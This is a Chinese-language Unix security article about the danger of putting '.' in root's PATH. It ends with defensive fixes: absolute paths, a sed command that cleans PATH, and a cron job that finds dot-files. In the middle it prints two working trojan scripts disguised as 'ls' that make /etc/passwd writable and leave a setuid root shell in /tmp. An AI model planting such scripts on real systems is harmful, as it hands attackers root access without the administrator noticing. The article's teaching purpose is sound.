正如很多人所知道的$PATH环境变量里存着一张目录列表，当用户要执行某一程序时，Unix系统就会按照列表中的内容去查找该程序的位置。当程序名前不带点斜线 . / 时$PATH就会起作用。

对于普通用户和root用户$PATH里默认是不包含"."来指定用户的当前目录。这在本机进行脚本开发的程序员来说却不方便，想图省事的人就把点加到了搜索路径中，这就等于在你的Unix系统埋下了险情。

例如：root为了方便使用在他的当前路径末尾加了个点"."（搜索目录为代表当前目录）

命令操作如下：

[root@rh root]# PATH=$PATH:.  
[root@rh root]# echo $PATH  
/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:. 

这下是方便了，直接输入脚本名就能执行。OK，正常情况下一点问题没有，也省去了输入./foo.sh的烦恼（foo.sh是我假设的脚本文件名）。有的root把PATH=$PATH:.这条命令加到了profile里，使所有用户到分享你给他们带来的"福音"。更有胜者root用户竟然 PATH=.:$PATH（将"："加到路径前是另一种形式）。正常请况下一点问题没有，直到有一天，张三用户在他的主目录下放了名为lls的脚本，并对 root说他的Unix系统出问题了希望root能帮他解决。（其实是一个trap）。Root一上来就su 成管理员权限，紧更着列了一下目录。有可能管理员误敲成了lls,结果哈哈。。。。

以下是个简单的C shell 的例子
 

#!/bin/csh  
If ( ! -o /bin/su )  
goto finish  
cp /bin/sh /tmp/.sh  
chmod 7777 /tmp/.sh  
finish :  
exec /bin/ls $argv | grep -v ls 

稍微变形就有个B shell的
 

#！/bin/sh  
if chmod 666 /etc/passwd > /dev/null 2>&1 ;then  
cp /bin/sh /tmp/.sh  
chmod 4755 /tmp/.sh  
fi  
exec ls "$@" 

如果root将其环境变量$PATH包含了"."并且其位置先与ls所在的Unix系统目录，那么当用户在/tmp中执行ls时，执行的是上面给出的脚本，而不是实际的ls命令，因为最终还是执行了ls,所以root不会看出有任何异常。如果是root执行了该脚本，就会将口令文件设置为可写,并将 shell复制到/tmp保存为.sh，同时设置其setuserid位，所有这一切都非常安静地发生。

在以上这两个程序里，心怀不鬼的人能写入任何令root急的要跳楼的程序，部下陷阱等root来钻，也许root在不知不觉中施行了也根本不会察觉。也许在张三的主目录下有一个名为ps的脚本里面包含有危险脚本，root可能一到他的机器前就输入了ps,此时Unix系统会首先到当前目录下搜索，结果 /sbin/ps却不被执行。类似这样的小花招还有很多。

管理员同志，不要太紧张，下面我说说解决办法。

首先，要养成输绝对路径的良好命令行输入习惯，这样就不会让"不法份子"乘虚而入了。比如，列目录***用/bin/ls来列目录，不要图方便而冒然输入ls。

其次，根用户（root）不要把"."包括到搜索目录列表里，而普通用户如果个"."包括到搜索列表中的话别，则"."就应当放在搜索目录列表的***位置上。这样一来普通用户不会受到前面所述的那种危害。

***，可以在登陆时在/etc/profile 和bashrc .profile文件的末尾添加如下一行
[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `

这个简单的sed命令将删除路径里所有的"."包括其另一形式"：："

还可以由crontab调用定期执行
 

#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; \  
mail -s 'this is a pointlist' root@localhost < point.txt 

来搜索所有以点开头的文件，再发送到root的邮箱里,再进行比较等任务。

好了，希望各位用户能有所感悟，能想出更好的Unix系统防御办法。

【编辑推荐】

1. Unix操作Unix系统中Minix讲解
2. 简单介绍UnixUnix系统中打印知识
3. Unix操作Unix系统打印问题解决
4. 当UnixUnix系统遇到病毒时
5. Unix操作Unix系统知识讲解